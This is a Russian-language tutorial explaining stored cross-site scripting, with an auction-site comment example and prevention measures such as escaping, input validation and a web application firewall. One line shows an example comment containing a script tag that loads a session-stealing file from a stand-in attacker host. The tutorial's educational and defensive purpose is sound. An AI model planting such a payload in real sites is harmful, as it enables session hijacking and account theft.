Понимание сохраненного XSS в деталях

Опубликовано: 23 Августа, 2022

В этой статье мы подробно разберем один из типов межсайтового скриптинга, то есть хранимый XSS.

Что такое хранимый межсайтовый скриптинг?

  • Сохраненные уязвимости межсайтового скриптинга распространены в веб-приложениях, которые поддерживают взаимодействие между конечными пользователями или административным персоналом, имеющим доступ к пользовательским записям и данным в одном и том же приложении. Эта уязвимость возникает, когда данные, отправленные одним пользователем, хранятся в приложении (обычно во внутренней базе данных) и отображаются для других пользователей без надлежащей фильтрации или очистки.
  • Атаки на сохраненные XSS-уязвимости обычно включают как минимум два запроса к приложению. В первом запросе злоумышленник публикует специально созданные данные, содержащие вредоносный код, хранящийся в приложении. Во втором запросе жертва просматривает страницу, содержащую данные злоумышленника, и вредоносный код выполняется при выполнении скрипта в браузере жертвы.

Схематическое объяснение:

Из приведенного выше рисунка

  • Злоумышленник отправляет вредоносный скрипт в виде файла.
  • Он сохраняется в базе данных веб-сайта, если элемент в веб-приложении не очищен.
  • Обычный пользователь или жертва пытается использовать функциональные возможности веб-приложения, но вредоносные сценарии выполняются, поскольку они уже хранятся в базе данных, а файлы cookie или сеанс украдены злоумышленником.

Воздействие и риск. Сохраненные межсайтовые сценарии могут иметь огромные последствия для веб-приложения и его пользователей.

  1. Злоумышленник может захватить учетные записи пользователей.
  2. Злоумышленник может украсть учетные данные.
  3. Злоумышленник может получить конфиденциальные данные.
  4. Злоумышленник может получить доступ к компьютерам вашего клиента.

Пример сохраненной XSS-атаки:

  • При просмотре веб-сайта аукциона злоумышленник обнаруживает уязвимость, позволяющую встраивать теги HTML в раздел комментариев сайта. Предположим, злоумышленник может опубликовать комментарий, содержащий встроенный JavaScript, а приложение не фильтрует и не очищает его. В этом случае злоумышленник может опубликовать созданный комментарий, который вызывает выполнение произвольных сценариев в браузере любого, кто просматривает комментарий, включая как продавца, так и других потенциальных покупателей.
  • Поскольку данные, введенные в поле комментария, сохраняются в базе данных, если другой пользователь запрашивает данные комментария, вредоносный скрипт возвращается пользователю в качестве ответа.

The attacker adds the following comment: Great Auction Website! Read my review here

<script src=”http://hackersitelink.com/authstealer.js”> </script>.

  • Таким образом, при каждом доступе к странице тег HTML в комментарии активирует файл JavaScript, размещенный на другом сайте, и крадет данные сеанса посетителей.
  • Используя файл cookie сеанса, злоумышленник может легко скомпрометировать конфиденциальные данные жертвы и завладеть учетной записью жертвы или украсть некоторые ценные активы из понимания посетителя.
  • Как и при отраженной атаке, когда сценарий активируется после нажатия на ссылку, при хранимой атаке требуется только, чтобы жертва посетила скомпрометированную веб-страницу или веб-элемент. Сохраненный XSS увеличивает влияние на серьезность, поскольку он напрямую содержит полезную нагрузку XSS в базе данных.

Профилактика:

  • Фильтровать вход по прибытии. Когда пользователь вводит вредоносный скрипт и запрашивает сервер, в этот момент попытайтесь отфильтровать и очистить ввод.
  • Брандмауэр веб-приложений является наиболее эффективным и лучшим решением для защиты веб-приложений от атак с использованием межсайтовых сценариев.
  • Экранирование. Экранирование данных означает получение данных, полученных приложением, и обеспечение их безопасности перед их рендерингом для конечного пользователя.
  • Проверка входных данных. Проверка входных данных — это процесс, обеспечивающий отображение приложением правильных данных и предотвращение вредоносного воздействия вредоносных данных на сайт, базу данных и пользователей.